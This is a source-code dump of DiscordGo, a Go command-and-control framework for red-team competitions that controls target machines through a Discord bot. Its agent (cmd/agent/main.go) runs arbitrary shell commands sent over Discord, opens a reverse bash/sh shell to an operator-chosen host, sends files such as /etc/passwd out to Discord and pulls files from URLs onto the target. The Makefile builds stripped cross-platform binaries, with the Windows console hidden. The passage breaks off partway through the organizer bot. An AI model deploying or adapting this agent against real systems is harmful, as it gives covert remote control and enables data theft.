├── scripts
├── requirements.txt
└── csv_generator.py
├── .gitignore
├── img
├── logo.png
├── teams.png
├── agent_cmd.png
├── example-team.png
├── example-command.png
└── Screen Shot 2021-02-07 at 7.28.15 PM.png
├── pkg
├── util
│ ├── variables.go
│ └── utils.go
└── agent
│ └── agent.go
├── install.sh
├── go.mod
├── Makefile
├── Changelog.txt
├── go.sum
├── README.md
└── cmd
├── agent
└── main.go
└── organizer
└── main.go
/scripts/requirements.txt:
--------------------------------------------------------------------------------
1 | termcolor
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ./vscode
2 | .DS_Store
3 | bin
4 | *.csv
--------------------------------------------------------------------------------
/img/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/emmaunel/DiscordGo/HEAD/img/logo.png
--------------------------------------------------------------------------------
/img/teams.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/emmaunel/DiscordGo/HEAD/img/teams.png
--------------------------------------------------------------------------------
/img/agent_cmd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/emmaunel/DiscordGo/HEAD/img/agent_cmd.png
--------------------------------------------------------------------------------
/img/example-team.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/emmaunel/DiscordGo/HEAD/img/example-team.png
--------------------------------------------------------------------------------
/img/example-command.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/emmaunel/DiscordGo/HEAD/img/example-command.png
--------------------------------------------------------------------------------
/img/Screen Shot 2021-02-07 at 7.28.15 PM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/emmaunel/DiscordGo/HEAD/img/Screen Shot 2021-02-07 at 7.28.15 PM.png
--------------------------------------------------------------------------------
/pkg/util/variables.go:
--------------------------------------------------------------------------------
1 | // Package constants contains sensitive informations like the serverID and BotToken
2 | package util
3 |
4 | var ServerID = "XXXXXXXXXXXXXXXXX"
5 | var BotToken = "XXXXXXXXXXXXXXXXX"
6 |
--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | # TODO
4 | # Installation script for discordC2.
5 | echo "Beginning DiscordGo C2 installation."
6 |
7 | printf "Please enter your server ID: "
8 | read server
9 | printf "Please enter your discord app token: "
10 | read token
11 |
12 | # Then run make
13 | make clean && make
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module DiscordGo
2 |
3 | go 1.17
4 |
5 | require github.com/bwmarrin/discordgo v0.23.3-0.20211204170245-092735083ddf
6 |
7 | require (
8 | github.com/gorilla/websocket v1.4.2 // indirect
9 | golang.org/x/sys v0.0.0-20211013075003-97ac67df715c // indirect
10 | )
11 |
12 | require (
13 | github.com/AvraamMavridis/randomcolor v0.0.0-20180822172341-208aff70bf2c
14 | github.com/sirupsen/logrus v1.8.1
15 | golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e // indirect
16 | )
17 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | DIRECTORY=bin
2 | MAC=macos-agent
3 | LINUX=linux-agent
4 | WIN=windows-agent.exe
5 | RASP=rasp
6 | BSD=bsd-agent
7 | FLAGS=-ldflags "-s -w"
8 | WIN-FLAGS=-ldflags -H=windowsgui
9 |
10 | all: clean create-directory agent-mac agent-linux agent-windows agent-rasp agent-fuckbsd
11 |
12 | create-directory:
13 | mkdir ${DIRECTORY}
14 |
15 | agent-mac:
16 | echo "Compiling macos binary"
17 | env GOOS=darwin GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${MAC} cmd/agent/main.go
18 |
19 | agent-linux:
20 | echo "Compiling Linux binary"
21 | env GOOS=linux GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${LINUX} cmd/agent/main.go
22 |
23 | agent-windows:
24 | echo "Compiling Windows binary"
25 | env GOOS=windows GOARCH=amd64 go build ${WIN-FLAGS} -o ${DIRECTORY}/${WIN} cmd/agent/main.go
26 |
27 | agent-rasp:
28 | echo "Compiling RASPI binary"
29 | env GOOS=linux GOARCH=arm GOARM=7 go build ${FLAGS} -o ${DIRECTORY}/${RASP} cmd/agent/main.go
30 |
31 | agent-fuckbsd:
32 | echo "Compiling FUCKBSD binary"
33 | env GOOS=freebsd GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${BSD} cmd/agent/main.go
34 |
35 | clean:
36 | rm -rf ${DIRECTORY}
37 |
--------------------------------------------------------------------------------
/Changelog.txt:
--------------------------------------------------------------------------------
1 | Changelog 1.2:
2 | * Implement mysql for database
3 | * Figure out a way to add agent after they connect before the server is up
4 |
5 | Changelog 2.0:
6 | * Drop the CLI functionality. Just using the Discord client now
7 | * Updated README.md
8 | * Added heartbeat feature
9 | * Ability to output larger output
10 |
11 | Changelog 2.1:
12 | * We have a logo. woohoo
13 | * Ability to delete channels/category after each competition
14 |
15 | Changelog 2.1.1
16 | * Ability to download files from target
17 | * Created roles for group commands
18 | * Remove unused files
19 | * Create variable.go template
20 |
21 | Changelog 2.2
22 | * Ability to send commands to multiple targets via roles
23 | * Updated the agent to work with roles commands
24 | * Option to use slash commands(stats, archive, clean, delcomp)
25 | * Fixed bug where you command outputs are not fully being sent
26 |
27 | Changelog 2.2.1
28 | * Added upload functionality
29 | * Added download functionality
30 |
31 | Changelog 2.2.2
32 | * Fixed special commands bugs :)
33 | * Added multi group commands(@team01, @linux)
34 | * Added os type to .csv file
35 | * Added fuckbsd to the make file....sigh
36 |
37 |
--------------------------------------------------------------------------------
/scripts/csv_generator.py:
--------------------------------------------------------------------------------
1 | from termcolor import colored
2 |
3 | compName = ""
4 | # Get the hosts for all the teams given one test host
5 | def get_hosts(num_of_teams, ip_format, name, os):
6 | fd = open(f"{compName}.csv","a")
7 | for i in range(1,num_of_teams+1) :
8 | # Replace X with team number
9 | ip = ip_format.replace("X",str(i))
10 | # Remove dots
11 | ip = ip.replace(".", "")
12 | teamNum = "team0" + str(i)
13 | fd.write(ip + "," + teamNum + "," + name + "," + os + "\n")
14 |
15 | def getinput():
16 | global compName
17 | compName = input("Enter Comp name: ")
18 | num_of_teams=int(input(colored("Enter the number of blue teams including test team: ", "blue")))
19 | hostsPerTeam = int(input(colored("Enter the number of hosts per team (windows + linux + router)", "blue") + ": "))
20 |
21 |
22 | for i in range(hostsPerTeam):
23 | hostInfo = input(f"Enter the ipFormat, name, OS of host {i+1}" + colored(" [192.X.1.2, Database, Linux] ", "red") + ": ")
24 | hostInfo = hostInfo.replace(" ", "")
25 | ip, name, os = hostInfo.split(",")
26 | get_hosts(num_of_teams, ip, name, os)
27 |
28 |
29 |
30 | def main():
31 | getinput()
32 | print(colored(f"Hosts written to {compName}.csv ", "green"))
33 |
34 | if __name__ == "__main__":
35 | main()
36 |
37 |
--------------------------------------------------------------------------------
/pkg/util/utils.go:
--------------------------------------------------------------------------------
1 | package util
2 |
3 | import (
4 | "io"
5 | "net/http"
6 | "os"
7 | "reflect"
8 | )
9 |
10 | // RemoveDuplicatesValues: A helper function to remove duplicate items in a list
11 | func RemoveDuplicatesValues(arrayToEdit []string) []string {
12 | keys := make(map[string]bool)
13 | list := []string{}
14 |
15 | for _, entry := range arrayToEdit {
16 | if _, value := keys[entry]; !value {
17 | keys[entry] = true
18 | list = append(list, entry)
19 | }
20 | }
21 | return list
22 | }
23 |
24 | // https://stackoverflow.com/questions/28828440/is-there-a-way-to-write-generic-code-to-find-out-whether-a-slice-contains-specif
25 | func Find(slice, elem interface{}) bool {
26 | sv := reflect.ValueOf(slice)
27 |
28 | // Check that slice is actually a slice/array.
29 | // you might want to return an error here
30 | if sv.Kind() != reflect.Slice && sv.Kind() != reflect.Array {
31 | return false
32 | }
33 |
34 | // iterate the slice
35 | for i := 0; i < sv.Len(); i++ {
36 |
37 | // compare elem to the current slice element
38 | if elem == sv.Index(i).Interface() {
39 | return true
40 | }
41 | }
42 |
43 | // nothing found
44 | return false
45 | }
46 |
47 | // DownloadFile will download a url to a local file. It's efficient because it will
48 | // write as it downloads and not load the whole file into memory.
49 | func DownloadFile(filepath string, url string) error {
50 |
51 | // Get the data
52 | resp, err := http.Get(url)
53 | if err != nil {
54 | return err
55 | }
56 | defer resp.Body.Close()
57 |
58 | // Create the file
59 | out, err := os.Create(filepath)
60 | if err != nil {
61 | return err
62 | }
63 | defer out.Close()
64 |
65 | // Write the body to file
66 | _, err = io.Copy(out, resp.Body)
67 | return err
68 | }
69 |
70 | func UpdateStats([] int) {
71 |
72 | }
73 |
--------------------------------------------------------------------------------
/pkg/agent/agent.go:
--------------------------------------------------------------------------------
1 | package agent
2 |
3 | import (
4 | "net"
5 | "os"
6 | )
7 |
8 | // DEBUG is set to true, lots of print statement
9 | // comes alive
10 | var DEBUG bool = false
11 |
12 | // AgentStat represent a single target
13 | type Agent struct {
14 | HostName string
15 | OS string
16 | IP string
17 | Status string
18 | Timestamp string
19 | }
20 |
21 | // AgentInfo keeps track of each agent
22 | type AgentInfo struct {
23 | Agent *Agent
24 | Status string
25 | }
26 |
27 | type File struct {
28 | CreateTime int32 `json:"create_time"`
29 | FileName string `json:"fname"`
30 | FileSize int64 `json:"fsize"`
31 | Id int `json:"id"`
32 | IsEnabled bool `json:"is_enabled"`
33 | IsPaused bool `json:"is_paused"`
34 | MimeType string `json:"mime_type"`
35 | Name string `json:"name"`
36 | OriginalMimeType string `json:"orig_mime_type"`
37 | RedirectPath string `json:"redirect_path"`
38 | RefSubFile int `json:"ref_sub_file"`
39 | SubFile *string `json:"sub_file"`
40 | SubMimeType *string `json:"sub_mime_type"`
41 | SubName *string `json:"sub_name"`
42 | Uid int `json:"uid"`
43 | UrlPath string `json:"url_path"`
44 | }
45 |
46 | type FileListData struct {
47 | Uploads []File `json:"uploads"`
48 | }
49 |
50 | type FileList struct {
51 | Data FileListData `json:"data"`
52 | ErrorCode int `json:"error_code"`
53 | Message string `json:"message"`
54 | }
55 |
56 | type Credentials struct {
57 | Username string `json:"username"`
58 | Password string `json:"password"`
59 | }
60 |
61 | // GetLocalIP return their IP
62 | // I say local because the agent might be behind a NAT network
63 | // And their external IP is gonna be different.
64 | func GetLocalIP() string {
65 | addrs, err := net.InterfaceAddrs()
66 | if err != nil {
67 | os.Stderr.WriteString("Oops: " + err.Error() + "\n")
68 | os.Exit(1)
69 | }
70 |
71 | for _, a := range addrs {
72 | if ipnet, ok := a.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
73 | if ipnet.IP.To4() != nil {
74 | return ipnet.IP.String()
75 | }
76 | }
77 | }
78 |
79 | return "nil"
80 | }
81 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/AvraamMavridis/randomcolor v0.0.0-20180822172341-208aff70bf2c h1:XLynE8YGJdvPN65iI+G+Ys5ZUVS6YxWk8WPe/FmBReg=
2 | github.com/AvraamMavridis/randomcolor v0.0.0-20180822172341-208aff70bf2c/go.mod h1:vX+Cl5GOtK2DkzgsggLoeNUbxAcUWBaybCKzVRYsRMo=
3 | github.com/bwmarrin/discordgo v0.23.3-0.20211204170245-092735083ddf h1:7N5Yd4rEIrHR21kuBNVOAECBY5mQTogFlFkuXbB6xmc=
4 | github.com/bwmarrin/discordgo v0.23.3-0.20211204170245-092735083ddf/go.mod h1:NJZpH+1AfhIcyQsPeuBKsUtYrRnjkyu0kIVMCHkZtRY=
5 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
6 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
7 | github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=
8 | github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
9 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
10 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
11 | github.com/sirupsen/logrus v1.8.1 h1:dJKuHgqk1NNQlqoA6BTlM1Wf9DOH3NBjQyu0h9+AZZE=
12 | github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
13 | github.com/stretchr/testify v1.2.2 h1:bSDNvY7ZPG5RlJ8otE/7V6gMiyenm9RtJ7IUVIAoJ1w=
14 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
15 | golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
16 | golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e h1:gsTQYXdTw2Gq7RBsWvlQ91b+aEQ6bXFUngBGuR8sPpI=
17 | golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
18 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
19 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
20 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
21 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
22 | golang.org/x/sys v0.0.0-20211013075003-97ac67df715c h1:taxlMj0D/1sOAuv/CbSD+MMDof2vbyPTqz5FNYKpXt8=
23 | golang.org/x/sys v0.0.0-20211013075003-97ac67df715c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
24 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
25 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
26 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
27 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
DiscordGo
2 |
3 |
4 |
5 |
6 |
7 |
8 | 
9 | 
10 | [](https://goreportcard.com/report/github.com/emmaunel/DiscordGo)
11 | 
12 |
13 |
14 | Discord C2 for Redteam engagement....Need a better name.
15 | If you can think of one, please tell me. :)
16 |
17 | Not to be confused with DiscordGo library which I use for the backend.
18 |
19 | # Why I made this
20 |
21 | During Blue-Red Team competition, I needed an easy and fast way to keep connected and a way for mutiple redteamer to run commands, hence DiscordGo.
22 | Since Discord is getting popular, why not use the platorm as a c2.
23 | That's what this project is about.
24 |
25 | # Installation
26 |
27 | To use DiscordGo, you need to create a Discord bot and a Discord server. After that, invite the bot to your server.
28 |
29 | Click [here](https://support.discord.com/hc/en-us/articles/204849977-How-do-I-create-a-server-) to learn how to create a server and [here](https://discordjs.guide/preparations/setting-up-a-bot-application.html#creating-your-bot) to create a bot. And finally, learn to invite the bot to your server with [this.](https://discordjs.guide/preparations/adding-your-bot-to-servers.html#bot-invite-links)
30 |
31 | When creating the bot, you need it give it some permission. For testing, I gave the bot full `administrative` permission. But the required permission are as follow:
32 |
33 | * Send Messages
34 | * Read Messages
35 | * Attach Files
36 | * Manage Server
37 |
38 | # Usage
39 |
40 | Edit this file `pkg/util/variables.go` with your `BotToken` and `ServerID`. Or create the file if not there
41 |
42 | The bot token can be found on discord developer dashboard where you created the bot. To get your server ID, go to your server setting and click on `widget`. On the right pane, you see the your ID.
43 |
44 | An example configuration file looks like this:
45 | ```
46 | var ServerID = "XXXXXXXXXXX"
47 | var BotToken = "XXXXXXXXXXX"
48 | ```
49 |
50 | After that is done, all you have to do is run `make`. That will create 3 binaries.
51 |
52 | ```
53 | - linux-agent
54 | - windows-agent.exe
55 | - macos-agent
56 | ```
57 |
58 | ## Organizer Bot
59 |
60 | When you have target connecting back to your discord server, channels are created by their ip addresses. This can quickly get hard to manage. Solution: Another bot to organize the targets channels.
61 |
62 | To use the organizer bot, run the csv generator script in the scripts folder:
63 | ```
64 | $ pip3 install -r requirements.txt
65 | $ python3 csv_generator.py
66 | ```
67 |
68 | This will create a csv like this:
69 |
70 | ```
71 | 192168185200,team01,hostname1,windows
72 | 192168185201,team02,hostname2,linux
73 | ```
74 |
75 | To start the organizer bot: `go run cmd/organizer/main.go -f .csv`
76 |
77 | Run `clean` in any channel to organize bots into their respective categories.
78 |
79 | # Feature
80 |
81 | * Cross-platform
82 | * Organozer(talk about and intergration to pwnboard)
83 |
84 |
85 | # WIP (Work in Progress)
86 |
87 | - [x] Cross-platform
88 | - [x] File upload
89 | - [x] File download
90 | - [x] Agent grouping(by hostname like web hosts and so on, slash command)
91 | - [x] Group commands
92 | - [X] Add logging to organizer
93 | - [X] Comp CSV Generation file
94 | - [ ] Integrate with pwndrop
95 |
96 |
97 |
98 | # Screenshots
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 | # Co-Authors
111 |
112 | * @Fred(https://github.com/frybin)
113 | Thanks for late night fixes during deploy
114 |
115 | # Disclamers
116 | The author is in no way responsible for any illegal use of this software. It is provided purely as an educational proof of concept. I am also not responsible for any damages or mishaps that may happen in the course of using this software. Use at your own risk.
117 |
118 | Every message on discord are saved on Discord's server, so be careful and not upload any sensitive or confidential documents.
119 |
120 | # Used Libraries
121 | * [discordgo](https://github.com/bwmarrin/discordgo)
122 |
123 |
124 | Inspired by [SierrOne](https://github.com/berkgoksel/SierraOne)
125 |
126 | Logo by @BradHacker(https://github.com/BradHacker)
--------------------------------------------------------------------------------
/cmd/agent/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bufio"
5 | "fmt"
6 | "net"
7 | "os"
8 | "os/exec"
9 | "os/signal"
10 | "regexp"
11 | "runtime"
12 | "strings"
13 | "syscall"
14 | "time"
15 |
16 | "DiscordGo/pkg/agent"
17 | "DiscordGo/pkg/util"
18 |
19 | "github.com/bwmarrin/discordgo"
20 | )
21 |
22 | var newAgent *agent.Agent
23 | var channelID *discordgo.Channel
24 |
25 | // Create an Agent with all the necessary information
26 | func init() {
27 |
28 | newAgent = &agent.Agent{}
29 | newAgent.HostName, _ = os.Hostname()
30 | newAgent.IP = agent.GetLocalIP()
31 |
32 | sys := "Unknown"
33 | if runtime.GOOS == "windows" {
34 | sys = "Windows"
35 | } else if runtime.GOOS == "linux" {
36 | sys = "Linux"
37 | } else if runtime.GOOS == "darwin" {
38 | sys = "MacOS"
39 | }
40 |
41 | newAgent.OS = sys
42 | }
43 |
44 | func main() {
45 | // TODO Do a check on the constant and produce a good error
46 | dg, err := discordgo.New("Bot " + util.BotToken)
47 | if err != nil {
48 | fmt.Println("error creating Discord session,", err)
49 | return
50 | }
51 |
52 | if agent.DEBUG {
53 | fmt.Println("New Agent Info")
54 | fmt.Println(newAgent.HostName)
55 | fmt.Println(newAgent.IP)
56 | fmt.Println(newAgent.OS)
57 | fmt.Println()
58 | }
59 |
60 | channelID, _ = dg.GuildChannelCreate(util.ServerID, newAgent.IP, 0)
61 |
62 | sendMessage := "``` Hostname: " + newAgent.HostName + "\n IP:" + newAgent.IP + "\n OS:" + newAgent.OS + "```"
63 | message, _ := dg.ChannelMessageSend(channelID.ID, sendMessage)
64 | dg.ChannelMessagePin(channelID.ID, message.ID)
65 | dg.AddHandler(messageCreater)
66 |
67 | go func(dg *discordgo.Session) {
68 | ticker := time.NewTicker(time.Duration(5) * time.Minute)
69 | for {
70 | <-ticker.C
71 | go heartBeat(dg)
72 | }
73 | }(dg)
74 |
75 | // Open a websocket connection to Discord and begin listening.
76 | err = dg.Open()
77 | if err != nil {
78 | return
79 | }
80 |
81 | if agent.DEBUG {
82 | fmt.Println("Agent is now running. Press CTRL-C to exit.")
83 | }
84 | // Wait here until CTRL-C or other term signal is received.
85 | sc := make(chan os.Signal, 1)
86 | signal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, syscall.SIGTERM)
87 | <-sc
88 |
89 | // Delete a channel
90 | dg.ChannelDelete(channelID.ID)
91 |
92 | // Cleanly close down the Discord session.
93 | dg.Close()
94 |
95 | }
96 |
97 | // This function is where we define custom commands for discordgo and system commands for the target
98 | func messageCreater(dg *discordgo.Session, message *discordgo.MessageCreate) {
99 | var re = regexp.MustCompile(`(?m)<@&\d{18}>`)
100 |
101 | // Special case
102 | if message.Author.Bot {
103 | if message.Content == "kill" {
104 | dg.ChannelDelete(channelID.ID)
105 | os.Exit(0)
106 | }
107 | }
108 |
109 | // Another special case
110 | if len(message.MentionRoles) > 0 {
111 | message_content := strings.Trim(re.ReplaceAllString(message.Content, ""), " ")
112 | // PUT THIS IS A FUNCTION\
113 | if message.ChannelID == channelID.ID {
114 | fmt.Println(message_content)
115 | output := executeCommand(message_content)
116 | if output == "" {
117 | dg.ChannelMessageSend(message.ChannelID, "Command didn't return anything")
118 | } else {
119 | batch := ""
120 | counter := 0
121 | largeOutputChunck := []string{}
122 | for char := 0; char < len(output); char++ {
123 | if counter < 2000 && char < len(output)-1 {
124 | batch += string(output[char])
125 | counter++
126 | } else {
127 | if char == len(output)-1 {
128 | batch += string(output[char])
129 | }
130 | largeOutputChunck = append(largeOutputChunck, batch)
131 | batch = string(output[char])
132 | counter = 1
133 | }
134 | }
135 |
136 | for _, chunck := range largeOutputChunck {
137 | dg.ChannelMessageSend(message.ChannelID, "```"+chunck+"```")
138 | }
139 | }
140 | }
141 | }
142 |
143 | if !message.Author.Bot {
144 | if message.ChannelID == channelID.ID {
145 | if message.Content == "ping" {
146 | dg.ChannelMessageSend(message.ChannelID, "I'm alive bruv")
147 | } else if message.Content == "kill" {
148 | dg.ChannelDelete(channelID.ID)
149 | os.Exit(0)
150 | } else if strings.HasPrefix(message.Content, "cd") {
151 | commandBreakdown := strings.Fields(message.Content)
152 | os.Chdir(commandBreakdown[1])
153 | dg.ChannelMessageSend(message.ChannelID, "```Directory changed to "+commandBreakdown[1]+"```")
154 | } else if strings.HasPrefix(message.Content, "shell") {
155 | splitCommand := strings.Fields(message.Content)
156 | if len(splitCommand) == 1 {
157 | dg.ChannelMessageSend(message.ChannelID, "``` shell \n Example: shell bash 127.0.0.1 1337, shell sh 127.0.0.1 69696\n Shell type: bash and sh```")
158 | } else if len(splitCommand) == 4 {
159 | shelltype := splitCommand[1]
160 | if shelltype == "bash" {
161 | hhh := splitCommand[2] + ":" + splitCommand[3]
162 | conn, _ := net.Dial("tcp", hhh)
163 | if conn == nil {
164 | return
165 | }
166 |
167 | sh := exec.Command("/bin/bash")
168 | sh.Stdin, sh.Stdout, sh.Stderr = conn, conn, conn
169 | sh.Run()
170 | conn.Close()
171 |
172 | } else if shelltype == "sh" {
173 | hhh := splitCommand[2] + ":" + splitCommand[3]
174 | conn, _ := net.Dial("tcp", hhh)
175 | if conn == nil {
176 | println("please don't crash")
177 | return
178 | }
179 |
180 | sh := exec.Command("/bin/sh")
181 | sh.Stdin, sh.Stdout, sh.Stderr = conn, conn, conn
182 | sh.Run()
183 | conn.Close()
184 |
185 | } else {
186 | dg.ChannelMessageSend(message.ChannelID, "```Not a supported shell type```")
187 | }
188 | } else {
189 | dg.ChannelMessageSend(message.ChannelID, "``` Incomplete command ```")
190 | }
191 | } else if strings.HasPrefix(message.Content, "download") {
192 | commandBreakdown := strings.Fields(message.Content)
193 | if len(commandBreakdown) == 1 {
194 | dg.ChannelMessageSend(message.ChannelID, "Please specify file(s): download /etc/passwd")
195 | return
196 | } else {
197 | files := commandBreakdown[1:]
198 | for _, file := range files {
199 | fileReader, err := os.Open(file)
200 | if err != nil {
201 | dg.ChannelMessageSend(message.ChannelID, "Could not open file: "+file)
202 | }
203 | dg.ChannelFileSend(message.ChannelID, file, bufio.NewReader(fileReader))
204 | }
205 | }
206 | } else if strings.HasPrefix(message.Content, "upload") {
207 | commandBreakdown := strings.Split(message.Content, " ")
208 | if len(commandBreakdown) == 1 {
209 | dg.ChannelMessageSend(message.ChannelID, "Please specify the file: upload /etc/ssh/sshd_config(with attached file) or upload http://example.com/test.txt /tmp/test.txt")
210 | return
211 | } else if len(commandBreakdown) == 2 { // upload /etc/ssh/sshd_config(with attached file)
212 | fileDownloadPath := commandBreakdown[1]
213 | if len(message.Attachments) == 0 { // With out this, the program will crash, can be used for debugging
214 | dg.ChannelMessageSend(message.ChannelID, "No file was attached!")
215 | return
216 | }
217 | util.DownloadFile(fileDownloadPath, message.Attachments[0].URL)
218 | } else { // upload http://example.com/test.txt /tmp/test.txt
219 | util.DownloadFile(commandBreakdown[2], commandBreakdown[1])
220 | }
221 | } else {
222 | output := executeCommand(message.Content)
223 | if output == "" {
224 | dg.ChannelMessageSend(message.ChannelID, "Command didn't return anything")
225 | } else {
226 | batch := ""
227 | counter := 0
228 | largeOutputChunck := []string{}
229 | for char := 0; char < len(output); char++ {
230 | if counter < 2000 && char < len(output)-1 {
231 | batch += string(output[char])
232 | counter++
233 | } else {
234 | if char == len(output)-1 {
235 | batch += string(output[char])
236 | }
237 | largeOutputChunck = append(largeOutputChunck, batch)
238 | batch = string(output[char])
239 | counter = 1
240 | }
241 | }
242 |
243 | for _, chunck := range largeOutputChunck {
244 | dg.ChannelMessageSend(message.ChannelID, "```"+chunck+"```")
245 | }
246 | }
247 | }
248 | }
249 | }
250 | }
251 |
252 | func heartBeat(dg *discordgo.Session) {
253 | dg.ChannelMessageSend(channelID.ID, fmt.Sprintf("!heartbeat %v", newAgent.IP))
254 | }
255 |
256 | func executeCommand(command string) string {
257 | args := ""
258 | result := ""
259 | var shell, flag string
260 | var testcmd = command
261 |
262 | if runtime.GOOS == "windows" {
263 | shell = "cmd"
264 | flag = "/c"
265 | } else {
266 | shell = "/bin/sh"
267 | flag = "-c"
268 | }
269 |
270 | // Seperate args from command
271 | ss := strings.Split(command, " ")
272 | command = ss[0]
273 |
274 | if len(ss) > 1 {
275 | for i := 1; i < len(ss); i++ {
276 | args += ss[i] + " "
277 | }
278 | args = args[:len(args)-1] // I HATEEEEEEEE GOLANGGGGGG
279 | }
280 |
281 | if args == "" {
282 | output, err := exec.Command(shell, flag, command).Output()
283 | // output, err := exec.Command(command).Output()
284 |
285 | if err != nil {
286 | // maybe send error to server
287 | fmt.Println(err.Error())
288 | fmt.Println("Couldn't execute command")
289 | }
290 |
291 | result = string(output)
292 | if agent.DEBUG {
293 | fmt.Println("Result: " + result)
294 | fmt.Println(len(result))
295 | }
296 |
297 | } else {
298 | output, err := exec.Command(shell, flag, testcmd).Output()
299 | if err != nil {
300 | // maybe send error to server ??? nah
301 | fmt.Println(err.Error())
302 | fmt.Println("Couldn't execute command")
303 | }
304 |
305 | result = string(output)
306 | if agent.DEBUG {
307 | fmt.Println("Result: " + result)
308 | fmt.Println(len(result))
309 | }
310 | }
311 | return result
312 | }
313 |
--------------------------------------------------------------------------------
/cmd/organizer/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bufio"
5 | "bytes"
6 | "encoding/json"
7 | "flag"
8 | "fmt"
9 | "net/http"
10 | "os"
11 | "os/signal"
12 | "strconv"
13 | "strings"
14 | "syscall"
15 |
16 | "DiscordGo/pkg/util"
17 |
18 | "github.com/AvraamMavridis/randomcolor"
19 | "github.com/bwmarrin/discordgo"
20 | log "github.com/sirupsen/logrus"
21 | )
22 |
23 | var dg *discordgo.Session
24 | var err error
25 | var channelID *discordgo.Channel // Target Channel ID
26 | var fileInputPtr string // Input file string
27 | var targetMap map[string]Target // Putting each line of the csv in a list/array
28 | var teams []string // Special list of the team number: Used for ...
29 | var hostnameList []string
30 | var osList []string // Special list of hostname: used for ...
31 | var heartbeatCounter, aliveAgents, deadAgents int // How many heartbeats have we had during an engagement
32 | var statRecords = []int{0, 0, 0} //[0] = heartbeats, [1] = alive agents, [2] = dead agents
33 | var tmpStatFile string = "/tmp/discordstat.txt" // Contains stats about bots
34 |
35 | // TODO Move the dead to archive catergory
36 | var (
37 | commands = []*discordgo.ApplicationCommand{
38 | {
39 | Name: "stats",
40 | Type: discordgo.ChatApplicationCommand,
41 | Description: "Quick stats about the comp",
42 | },
43 | {
44 | Name: "archive",
45 | Type: discordgo.ChatApplicationCommand,
46 | Description: "Archive/Delete dead channels",
47 | },
48 | {
49 | Name: "clean",
50 | Type: discordgo.ChatApplicationCommand,
51 | Description: "Rearranges channels to the right channel",
52 | },
53 | {
54 | Name: "delcomp",
55 | Type: discordgo.ChatApplicationCommand,
56 | Description: "Cleaning up all targets",
57 | },
58 | }
59 | )
60 |
61 | // Target representation
62 | type Target struct {
63 | ip string
64 | teamstring string
65 | hostname string
66 | ostype string
67 | }
68 |
69 | // PwnBoard json post request
70 | type PwnBoard struct {
71 | IPs string `json:"ip"`
72 | Type string `json:"type"`
73 | }
74 |
75 | // This init function
76 | func init() {
77 | flag.StringVar(&fileInputPtr, "f", "", "This csv should contains the list of targets: ip,team#,hostname,ostype")
78 | flag.Parse()
79 |
80 | if fileInputPtr == "" {
81 | log.Fatal("No file specified")
